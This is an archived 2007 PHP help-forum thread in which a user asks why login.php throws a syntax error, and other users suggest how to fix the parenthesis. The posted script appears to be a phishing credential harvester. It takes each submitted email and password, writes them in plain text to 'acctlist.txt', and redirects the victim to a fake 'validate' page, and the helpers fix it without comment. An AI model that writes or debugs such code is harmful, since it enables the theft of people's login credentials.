...

View Full Version : unexpected T_BOOLEAN_AND



TrainReq
03-21-2007, 02:06 AM
I am getting
Parse error: syntax error, unexpected T_BOOLEAN_AND in /home/*****/public_html/sttest/login.php on line 5


here is the code i am using



<?php
$pattern = '/.*@.*\..*/';
$email = $_POST['email'];
$password = $_POST['password'];
if (preg_match($pattern, $_POST['email']) > 0) && !isset($_POST['password']))
$data = "acctlist.txt";
$open = fopen($data, "a");
fwrite($open, $email . ":" . $password . "\n" );
fclose($open);
header("Location: http://www.site.com/validate.htmll");
}
else {
echo "<b><center>The email and/or password you enter is invalid! <br> Please go back and enter a valid email/password </b>";
}
?>


here is the code on line 5


if (preg_match($pattern, $_POST['email']) > 0) && !isset($_POST['password']))

What is the problem?

GJay
03-21-2007, 02:19 AM
the closing ) after 0

TrainReq
03-21-2007, 02:31 AM
unexpected ')'

Nightfire
03-21-2007, 03:13 AM
if (preg_match($pattern, $_POST['email']) > 0 && !isset($_POST['password']))

As mentioned, that'll work, or atleast should work from what I can see



EZ Archive Ads Plugin for vBulletin Copyright 2006 Computer Help Forum